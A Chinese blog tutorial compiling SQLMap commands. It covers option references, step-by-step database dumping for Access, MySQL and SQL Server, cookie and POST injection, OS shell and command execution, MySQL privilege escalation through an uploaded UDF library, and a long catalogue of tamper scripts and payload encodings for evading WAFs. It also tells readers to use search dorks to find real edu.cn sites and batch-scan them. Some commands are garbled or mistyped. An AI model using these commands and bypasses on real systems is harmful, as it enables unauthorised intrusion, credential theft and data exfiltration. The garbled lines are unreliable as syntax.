SQL注入实战— SQLMap 总结使用教程

          从这里开始SQLMap就结束,博主从网上汇总了一些SQLMap的使用教程,给大家参考,下一篇文章博主会细说一下SQLMap

 

—————————————————————————————————————————————————

当你的才华

还撑不起的野心时

那你就应该静下心来学习

—————————————————————————————————————————————————

 目录

SQLMap 总结使用教程

1.0 下载SQLmap

2.0常用的命令选项有:

3.0当使用 Sqlmap 检测一个指定 Url 时,它会执行一下操作:

4.0 本人常用指令:

二、SQLmap 所有命令参数

Options(选项):

Target(目标):

Request(请求):

Agent头

Optimization(优化):

Injection(注入):

Detection(检测):

Techniques(技巧):

Fingerprint(指纹):

Enumeration(枚举):

Brute force(蛮力):

User-defined function injection(用户自定义函数注入):

File system access(访问文件系统):

Operating system access(操作系统访问):

Windows注册表访问:

General(一般):

Miscellaneous(杂项):

三、SQLMAP实战操作

1.ACCESS数据库:

2.MYSQL数据库:

3.SQLSERVER数据库:

4.COOKIE注入:

5.POST注入:

6.执行shell命令:

7.注入HTTP请求 :

8.绕过WAF的tamper插件使用:

9.将注入语句插入到指定位置:

10.延时注入:

11.使用谷歌语法搜索注入(Google hack):

 

拓展内容(一)

拓展内容(二)

tamper 参数绕狗

1、简单介绍

2、SQLMAP tamper 介绍

使用方法:

各个 tamper 的作用

3、总结

SQLmap tamper参数汇总表格

数据库区分tampet参数

【MySQL】

【SQLServer】

【Access】

【Oracle】

【PostgreSQL】

【MSSQL】

【SQLite】

【未知适用范围】


                                   SQLMap 总结使用教程

1.0 下载SQLmap

下载好 Sqlmap 之后,进入 sqlmap.py 所在的目录,执行命令的方式如下:

# python sqlmap.py XXX

例如查看内置的帮助信息:

# python sqlmap.py -h

2.0常用的命令选项有:

选项解释

-u 指定Sql注入测试的url

-b 获取DBMSbanner

-m 从文本中加载目标请求

-g 从google的搜索结果中测试

--data 把数据以post方式提交

--cookie 设置cookie的值

-–current-db 获取当前数据库

-–current-user 获取当前用户

--string 匹配页面中的字符串

–-users 枚举DBMS用户

–-password 枚举DBMS用户密码hash

–-dbs 枚举DBMS中的数据库

-D 要枚举的DBMS数据库

–-tables 枚举DBMS数据库中的数据表(和-D组合使用)

-T 要枚举的DBMS数据库表

–-columns 枚举DBMS数据库表中的所有列(和-D-T组合使用)

-C 要枚举的DBMS数据表中的列(和-D-T-C组合使用)

–-dump 获取DBMS数据表项

–-privileges 查看权限

–-privileges-Uroot 查看指定用户权限

–-os-cmd=whoami 执行系统命令

–-os-shell 系统交互shell

–-os-pwn 反弹shell

–-reg-read 读取win系统注册表

–-dbs-o“sqlmap.log” #保存进度

3.0当使用 Sqlmap 检测一个指定 Url 时,它会执行一下操作:

判断是否有可注入的参数

判断可以用哪种 Sql 注入技术来注入

识别出目标使用哪种数据库

按照用户选择,读取目标数据

 

4.0 本人常用指令:

--is-dba 当前用户权限

--dbs 所有数据库

--current-db 网站当前数据库

--users 所有数据库用户

--current-user 当前数据库用户

-T "指定的表名"

-D "当前数据库名字"

--columns 查字段

 

操作步骤总结:

  1. 对网站进行扫描

  Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1"

sqlmap 就会将 less-6 中的可以注入的点进行自动扫描,并且提出 payload

SQL注入实战— SQLMap 总结使用教程_第1张图片

 

  1. 爆数据库名和数据库用户

  Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --current-db

Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --current-user

  1. 爆表名

现在我们使用--tables -D security 查询 security 库里面的表名。 

Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --tables -D security

  1. 爆列名

Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --tables -D security --columns users

5、对字段里面的数值进行爆破,如需要爆破 username 字段内容,我们可以使用-C username --dump 来进行获取

Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --tables -D security --columns users -C username --dump

 

二、SQLmap 所有命令参数

Options(选项):

• –   version 显示程序的版本号并退出

• - h, –help 显示此帮助消息并退出

• - v   VERBOSE 详细级别:0-6(默认为1)

Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

• - d DIRECT           直接连接到数据库。

• - u URL, –url=URL   目标URL。

• - l LIST             从Burp或WebScarab代理的日志中解析目标。

• - r  REQUESTFILE      从一个文件中载入HTTP请求。

• - g  GOOGLEDORK       处理Google dork的结果作为目标URL。

• - c CONFIGFILE        从INI配置文件中加载选项。

Request(请求):

这些选项可以用来指定如何连接到目标URL。

• –data=DATA            通过POST发送的数据字符串

• –cookie=COOKIE HTTP    Cookie头

• – cookie-urlencode     URL 编码生成的cookie注入

• –drop-set-cookie       忽略响应的Set – Cookie头信息

• –user-agent=AGENT      指定 HTTP User – Agent头

• –random-agent         使用随机选定的HTTP User –

 

Agent头

• –referer=REFERER  指定 HTTP Referer头

• –headers=HEADERS  换行分开,加入其他的HTTP头

• –auth-type=ATYPE HTTP  身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)

• –auth-cred=ACRED HTTP    身份验证凭据(用户名:密码)

• –auth-cert=ACERT HTTP    认证证书(key_file,cert_file)

• –proxy=PROXY 使用HTTP   代理连接到目标URL

• –proxy-cred=PCRED HTTP   代理身份验证凭据(用户名:密码)

• –ignore-proxy           忽略系统默认的HTTP代理

• –delay=DELAY            在每个HTTP请求之间的延迟时间,单位为秒

• –timeout=TIMEOUT        等待连接超时的时间(默认为30秒)

• –retries=RETRIES      连接超时后重新连接的时间(默认3)

• –scope=SCOPE          从所提供的代理日志中过滤器目标的正则表达式

• –safe-url=SAFURL      在测试过程中经常访问的url地址

• –safe-freq=SAFREQ     两次访问之间测试请求,给出安全的URL

Optimization(优化):

这些选项可用于优化SqlMap的性能。

• -o 开启所有优化开关

• –predict-output       预测常见的查询输出

• –keep-alive           使用持久的HTTP(S)连接

• –null-connection      从没有实际的HTTP响应体中检索页面长度

• –threads=THREADS       最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

• -p TESTPARAMETER          可测试的参数(S)

• –dbms=DBMS   强制后端的DBMS为此值

• –os=OS 强制后端的DBMS操作系统为这个值

• –prefix=PREFIX 注入payload字符串前缀

• –suffix=SUFFIX 注入payload字符串后缀

• –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

• –level=LEVEL 执行测试的等级(1-5,默认为1)

• –risk=RISK 执行测试的风险(0-3,默认为1)

• –string=STRING 查询时有效时在页面匹配字符串

• –regexp=REGEXP 查询时有效时在页面匹配正则表达式

• –text-only 仅基于在文本内容比较网页

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

• –technique=TECH SQL注入技术测试(默认BEUST)

• –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

• –union-cols=UCOLS 定列范围用于测试UNION查询注入

• –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):

• -f, –fingerprint 执行检查广泛的DBMS版本指纹

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己

的SQL语句。

• -b, –banner 检索数据库管理系统的标识

• –current-user 检索数据库管理系统当前用户

• –current-db 检索数据库管理系统当前数据库

• –is-dba 检测DBMS当前用户是否DBA

• –users 枚举数据库管理系统用户

• –passwords 枚举数据库管理系统用户密码哈希

• –privileges 枚举数据库管理系统用户的权限

• –roles 枚举数据库管理系统用户的角色

• –dbs 枚举数据库管理系统数据库

• –tables 枚举的DBMS数据库中的表

• –columns 枚举DBMS数据库表列

• –dump 转储数据库管理系统的数据库中的表项

• –dump-all 转储所有的DBMS数据库表中的条目

• –search 搜索列(S),表(S)和/或数据库名称(S)

• -D DB 要进行枚举的数据库名

• -T TBL 要进行枚举的数据库表

• -C COL 要进行枚举的数据库列

• -U USER 用来进行枚举的数据库用户

• –exclude-sysdbs 枚举表时排除系统数据库

• –start=LIMITSTART 第一个查询输出进入检索

• –stop=LIMITSTOP 最后查询的输出进入检索

• –first=FIRSTCHAR 第一个查询输出字的字符检索

• –last=LASTCHAR 最后查询的输出字字符检索

• –sql-query=QUERY 要执行的SQL语句

• –sql-shell 提示交互式SQL的shell

 

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

• –common-tables    检查存在共同表

• –common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入):

这些选项可以用来创建用户自定义函数。

• –udf-inject 注入用户自定义函数

• –shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

• –file-read=RFILE 从后端的数据库管理系统文件系统读取文件

• –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件

• –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

?

• –os-cmd=OSCMD 执行操作系统命令

• –os-shell 交互式的操作系统的shell

• –os-pwn 获取一个OOB shell,meterpreter或VNC

• –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC

• –os-bof 存储过程缓冲区溢出利用

• –priv-esc 数据库进程用户权限提升

• –msf-path=MSFPATH  Metasploit Framework本地的安装路径

• –tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

• –reg-read 读一个Windows注册表项值

• –reg-add 写一个Windows注册表项值数据

• –reg-del 删除Windows注册表键值

• –reg-key=REGKEY Windows注册表键

• –reg-value=REGVAL Windows注册表项值

• –reg-data=REGDATA Windows注册表键值数据

• –reg-type=REGTYPE Windows注册表项值类型

General(一般):

这些选项可以用来设置一些一般的工作参数。

• -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中

• -s SESSIONFILE 保存和恢复检索会话文件的所有数据

• –flush-session 刷新当前目标的会话文件

• –fresh-queries 忽略在会话文件中存储的查询结果

• –eta 显示每个输出的预计到达时间

• –update 更新SqlMap

• –save file 保存选项到INI配置文件

• –batch 从不询问用户输入,使用所有默认配置。

 

Miscellaneous(杂项):

• –beep 发现SQL注入时提醒

• –check-payload IDS 对注入payloads的检测测试

• –cleanup SqlMap具体的UDF和表清理DBMS

• –forms 对目标URL的解析和测试形式

• –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果

• –page-rank Google dork结果显示网页排名(PR)

• –parse-errors 从响应页面解析数据库管理系统的错误消息

• –replicate 复制转储的数据到一个sqlite3数据库

• –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址

• –wizard 给初级用户的简单向导界面

 

三、SQLMAP实战操作

1.ACCESS数据库:

• sqlmap.py -u “url” /*-u为常规扫描参数*/

• sqlmap.py -u “url” –tables /*–tables拆数据库表*/

• sqlmap.py -u “url” –columns -T “要拆的表名”/*列出指定表名*/

• sqlmap.py -u “url” –dump -T “要拆的表名”-C “要拆的字段名” /*–dump为拆解字段名会保存在sqlmap/output目录下*/

2.MYSQL数据库:

• sqlmap.py -u “url” /*扫描注入点*/

• sqlmap.py -u “url” –dbs /*列出所有数据库*/

• sqlmap.py -u “url” –current-db /*列出当前数据库*/

• sqlmap.py -u “url” –current-user /*列出当前用户*/

• sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/

• sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/

 

• sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

3.SQLSERVER数据库:

• sqlmap.py -u “url” /*扫描注入点*/

• sqlmap.py -u “url” –dbs /*列出所有数据库*/

• sqlmap.py -u “url” –current-db /*列出当前数据库*/

• sqlmap.py -u “url” –current-user /*列出当前用户*/

• sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/

• sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/

• sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

PS:SQLSERVER操作和MYSQL是一样的!!!常见的几种数据库!!!

4.COOKIE注入:

• sqlmap.py -u “www.xxx.com/asp或者www.xxx.com/php”?–cookie “参数名如id=1” –level 2/*level为提升权限*/

什么数据库就按照上面的数据库加上cookie语句拆解就行了

 

 

5.POST注入:

• 抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /*xxx.txt为保存包文件的文件名”

sqlmap.py -u “url” –data “POST参数”

6.执行shell命令:

• sqlmap.py -u “url” –os-cmd=”net user” /*执行net user命令*/

• sqlmap.py -u “url” –os-shell /*系统交互的shell*/

7.注入HTTP请求 :

• sqlmap.py -r xxx.txt –dbs /*xxx.txt内容为HTTP请求*/

8.绕过WAF的tamper插件使用:

• sqlmap.py -u “url” –tamper “xxx.py”

• sqlmap.py -u “url” –tamper=”xxx.py”

9.将注入语句插入到指定位置:

• sqlmap.py -u “url(www.xxx.com/id/1*.html)”?–dbs

有些网站是采用伪静态的页面使用SQLMAP的普通注入是不行的,所以SQLMAP提供了”*”参数将SQL语句插入指定位置,一般用于伪静态注入。

 

在使用HTTP注入时使用-r参数也可以直接在文本中添加*号

 

10.延时注入:

• sqlmap –dbs -u “url” –delay 0.5 /*延时0.5秒*/

• sqlmap –dbs -u “url” –safe-freq /*请求2次*/

11.使用谷歌语法搜索注入(Google hack):

• sqlmap.py  -g “inurl:asp?id=1” /*””内为搜索语法,如:inurl,intitle,site,filetype等等

 

 

 

拓展内容(一)

 

11.1 寻找和判断实例

通过百度对“inurl:news.asp?id=site:edu.cn”、 “inurl:news.php?id= site:edu.cn”、 “inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,

如下图所示。随机打开一个网页搜索结果,如图2所示,如果能够正常访问,则复制该URL地址。SQL注入实战— SQLMap 总结使用教程_第2张图片

                                                        如上图:搜索目标

SQL注入实战— SQLMap 总结使用教程_第3张图片

                                     如上图:测试网页能否正常访问  

 

将该url使用sqlmap进行注入测试,如下图所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的

 

如上图:检测URL地址是否存在漏洞

 

11.2批量检测

将目标url搜集并整理为txt文件,如下图所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下。

SQL注入实战— SQLMap 总结使用教程_第4张图片

                                                                                        如上图:批量整理目标地址

11.2 直接连接数据库

sqlmap.py -d”mysql://admin:[email protected]:3306/testdb” -f –banner –dbs–users

 

拓展内容(二)

 SQLMAP实用技巧

1. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,”/*!0%s” % word) 为:

return match.group().replace(word,”/*!50000%s*/” % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

为:

(3)使用sqlmap进行注入测试

sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”

其它绕过waf脚本方法:

sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目录下文件具体含义:

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释

2. URL重写SQL注入测试

value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。

sqlmap.py -u”http://targeturl/param1/value1*/param2/value2/”

3. 列举并破解密码哈希值

  当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –passwords -v1

4. 获取表中的数据个数

sqlmap.py -u”http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” –count -Dtestdb

5.对网站secbang.com进行漏洞爬去

sqlmap.py -u “http://www.secbang.com“–batch –crawl=3

6.基于布尔SQL注入预估时间

sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1“-b –eta

7.使用hex避免字符编码导致数据丢失

sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” –banner –hex -v 3 –parse-errors

8.模拟测试手机环境站点

python sqlmap.py -u”http://www.target.com/vuln.php?id=1” –mobile

9.智能判断测试

sqlmap.py -u “http://www.antian365.com/info.php?id=1“–batch –smart

10.结合burpsuite进行注入

(1)burpsuite抓包,需要设置burpsuite记录请求日志

sqlmap.py -r burpsuite抓包.txt

(2)指定表单注入

sqlmap.py -u URL –data“username=a&password=a”

11.sqlmap自动填写表单注入

自动填写表单:

sqlmap.py -u URL –forms

sqlmap.py -u URL –forms –dbs

sqlmap.py -u URL –forms –current-db

sqlmap.py -u URL –forms -D 数据库名称–tables

sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns

sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump

12.读取linux下文件

 sqlmap.py-u “url” –file /etc/password

13.延时注入

sqlmap.py -u URL –technique -T–current-user

14. sqlmap 结合burpsuite进行post注入

结合burpsuite来使用sqlmap:

(1)浏览器打开目标地址http://www.antian365.com

(2)配置burp代理(127.0.0.1:8080)以拦截请求

(3)点击登录表单的submit按钮

(4)Burp会拦截到了我们的登录POST请求

(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下

(6)运行sqlmap并使用如下命令:

./sqlmap.py -r post.txt -p tfUPass

15.sqlmap cookies注入

sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “id=1″  –dbs –level 2

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:

sqlmap.py -u 注入点URL --cookie"id=xx" --level 3

sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump

16.mysql提权

(1)连接mysql数据打开一个交互shell:

sqlmap.py -dmysql://root:[email protected]:3306/test --sql-shell

select @@version;

select @@plugin_dir;

d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\

(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:

sqlmap.py -dmysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');

17.执行shell命令

sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/

sqlmap.py -u “url” –os-shell /*系统交互的shell*/

 

 

 

  • tamper 参数绕狗

1、简单介绍

但很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。

 

sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的利用tamper脚本。

 

当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、admin等等。

 

所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。

如图:

直接加个单引号被过滤,说明注入时单引号是没法用的。

SQL注入实战— SQLMap 总结使用教程_第5张图片

以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。

 

比如空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。

 

2、SQLMAP tamper 介绍

sqlmap 是一款注入神器广为人知,里面的 tamper 常常用来绕过 WAF ,很实用的模块,一边学习一边整理笔记,今天就整理总结一下 tamper 的用法以及 tamper 的编写

 

ALL 表示所有数据库都适用,具体指出哪种数据库就表名只只适用于某些数据。

 

 

使用方法:

sqlmap.py XXXXX -tamper "模块名"

语法: sqlmap.py -u “http:127.0.0.1/dvwa/test.php?id=1” --dbms mysql  --tample “tample的Python脚本” -v 3 --dbs

 

各个 tamper 的作用

下面针对 tamper 参数,做一下简单的解释

 

apostrophemask.py:

return payload.replace(''', "%EF%BC%87") if payload else payload

 

将单引号 url 编码,用于过滤了单引号的情况。

 

1' AND '1'='1 to 1%EF%BC%87 AND %EF%BC%871%EF%BC%87=%EF%BC%871

 

适用数据库:ALL

 

apostrophenullencode.py:

return payload.replace(''', "%00%27") if payload else payload

 

将单引号替换为宽字节 unicode 字符,用于过滤了单引号的情况

 

1' AND '1'='1 to 1 ' AND  '1 '= '1

 

适用数据库:ALL

 

appendnullbyte.py:

return "%s%%00" % payload if payload else payload

 

在你构造的payload后面加一个空字符

 

1' AND '1'='1 to 1' AND '1'='1[]

 

适用数据库:Access

 

base64encode.py:

return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

 

这个看模块名也知道是 base64 编码

 

1' AND '1'='1 to MScgQU5EICcxJz0nMQ==

 

适用数据库:ALL

 

between.py:

这个代码有点长,就不贴代码了,可以自己去查看:..\SQLMap\tamper\between.py

 

将大于符号和等号用 between 语句替换,用于过滤了大于符号和等号的情况

 

1 AND A > B to 1 AND A NOT BETWEEN 0 AND B

 

1 AND A = B to 1 AND A BETWEEN B AND B

 

适用数据库:ALL

 

bluecoat.py:

用随机的空白字符代替空格,并且将等号替换为 like ,用于过滤了空格和等号的情况

 

union select from users where id = 1 to union%09select from%09users where id like 1

 

适用数据库:MySQL 5.1, SGOS

 

 

 

chardoubleencode.py:

用 url 编码两次你的 payload

 

select * from users to %2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2575%2573%2565%2572

 

适用数据库:ALL

 

charencode.py:

用 url 编码一次你的 payload

 

select * from users to %73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72

 

适用数据库:ALL

 

charunicodeencode.py:

用 unicode 编码 payload ,只编码非编码字符

 

select * from users to u0073u0065u006cu0065u0063u0074u0020u002au0020u0066u0072u006fu006du0020u0075u0073u0065u0072u0073

 

适用数据库:ALL,但是需要 asp 和 asp.net 环境

 

commalesslimit.py:

将 payload 中的逗号用 offset 代替,用于过滤了逗号并且是两个参数的情况

 

limit 2,1 to limit 1 offset 2

 

适用数据库:MySQL

 

commalessmid.py:

将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是三参数的情况

 

mid(version(), 1, 1) to mid(version() from 1 for 1)

 

适用数据库:MySQL

 

commentbeforeparentheses.py:

retVal = re.sub(r"b(w+)(", "g<1>/**/(", retVal)

 

在某个单词后的第一个括号前面加入 /**/ ,用于过滤了函数的情况

 

union select group_concat(table_name) to union select group_concat/**/(table_name)

 

适用数据库:ALL

 

concat2concatws.py:

payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

 

用于过滤了 concat 函数的情况

 

concat(1,2) to concat_ws(mid(char(0), 0, 0), 1, 2)

 

适用数据库:MySQL

 

equaltolike.py:

retVal = re.sub(r"s=s", " LIKE ", retVal)

 

将等号用 like 代替,用于过滤了等号的情况

 

select from users where id=1 to select from users where id like 1

 

适用数据库:ALL

 

escapequotes.py:

return payload.replace("'", "'").replace('"', '"')

 

将单引号转换成 \' ,双引号转换成 \" ,用于过滤了单引号或双引号的情况

 

1' and 1=1--+ to 1\' and 1=1--+

 

适用数据库:ALL

 

greatest.py:

用 greatest 代替大于符号,用于大于符号被过滤了的情况

 

1 and a>b to 1 and greatest(a,b+1)=a

 

ALL

 

halfversionedmorekeywords.py:

在关键字前添加注释,用于过滤了关键字的情况

 

union select 1,2 to /!0union/!0select 1,2

 

适用数据库:MySQL < 5.1

 

htmlencode.py:

return re.sub(r"1", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload

 

从名字就知道是将 payload 进行 html 编码

 

1' and 1=1--+ to 1' and 1=1--+

 

适用数据库:ALL

 

ifnull2ifisnull.py:

将 ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况

 

ifnull(1, 2) to if(isnull(1), 2, 1)

 

适用数据库:MySql

 

informationschemacomment.py:

retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)

 

在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况

 

select table_name from information_schema.tables to select table_name from information_schema/**/.tables

 

适用数据库:ALL

 

lowercase.py:

将 payload 里的大写转为小写

 

UNION SELECT to union select

 

适用数据库:ALL

 

modsecurityversioned.py:

用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf

 

1 and 2>1--+ to 1 /!30874and 2>1/--+

 

适用数据库:MySQL

 

modsecurityzeroversioned.py:

用注释来包围完整的查询语句,用于绕过 waf ,和上面类似

 

1 and 2>1--+ to 1 /!00000and 2>1/--+

 

适用数据库:MySQL

 

multiplespaces.py:

在关键字周围添加多个空格

 

union select 1,2--+ to union select 1,2--+

 

适用数据库:ALL

 

nonrecursivereplacement.py:

关键字双写,可用于关键字过滤

 

union select 1,2--+ to uniounionn selecselectt 1,2--+

 

适用数据库:ALL

 

overlongutf8.py:

这个不是很懂,也去网上搜了下,都说是”转换给定的 payload 当中的所有字符“,类似空格大于小于这种

 

select field from table where 2>1 to select%C0%AAfield%C0%AAfromtable%C0%AAwhere%C0%AA2%C0%BE1

 

适用数据库:ALL

 

percentage.py:

用百分号来绕过关键字过滤,具体是在关键字的每个字母前面都加一个百分号

 

select from users to %s%e%l%e%c%t %f%r%o%m %u%s%e%r%s

 

适用数据库:ALL, 但是需要 ASP 环境

 

plus2concat.py:

用 concat 函数来替代加号,用于加号被过滤的情况

 

select char(13)+char(114)+char(115) from user to select concat(char(113),char(114),char(115)) from user

 

适用数据库:SQL Server 2012+

 

plus2fnconcat.py:

用 fn concat 来替代加号,和上面类似

 

select char(13)+char(114)+char(115) from user to select {fn concat({ fn concat(char(113),char(114))},char(115))} from user

 

适用数据库:Microsoft SQL Server 2008+

 

randomcase.py:

将 payload 随机大小写,可用于大小写绕过的情况

 

union select 1,2--+ to UniOn SElect 1,2--+

 

适用数据库:ALL

 

randomcomments.py:

在 payload 的关键字中间随机插入 /**/ ,可用于绕过关键字过滤

 

union select 1,2--+ to un//ion sele//ct 1,2--+

 

适用数据库:ALL

 

securesphere.py:

return payload + " and '0having'='0having'" if payload else payload

 

在 payload 后面加入字符串,可以自定义

 

1' and 1=1 to 1' and 1=1 '0having'='0having'

 

适用数据库:ALL

 

sp_password.py:

retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if in payload else None for in ('#', "-- ")) else "")

 

在 payload 语句后添加 ssp_password ,用于迷惑数据库日志

 

1’ and 1=1--+ to 1 and 1=1-- sp_password

 

适用数据库:MSSQL

 

space2comment.py:

用 /**/ 替代空格,用于空格的绕过

 

union select 1,2--+ to union//select//1,2--+

 

适用数据库:ALL

 

space2dash.py:

用注释符--和一个随机字符串加一个换行符替换控制符

 

?union select 1,2--+ to union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+

 

适用数据库:MSSQL、 SQLite

 

space2hash.py:

和上面类似,不过这儿是用#注释符

 

union select 1,2--+ to union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+

 

适用数据库:MySQL

 

space2morecomment.py:

将空格用 /_/ 替代

 

union select 1,2--+ to union/_/select/_/1,2--+

 

适用数据库:ALL

 

space2morehash.py:

和 space2hash.py 类似,但是这儿多一个 # 和换行符,具体看一下对比:

 

space2hash.py: union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A1,2--+

 

space2morehash.py:union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+

 

适用数据库:MySQL >= 5.1.13

 

 

 

space2mssqlblank.py:

blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

 

用这些随机空白符替换 payload 中的空格

 

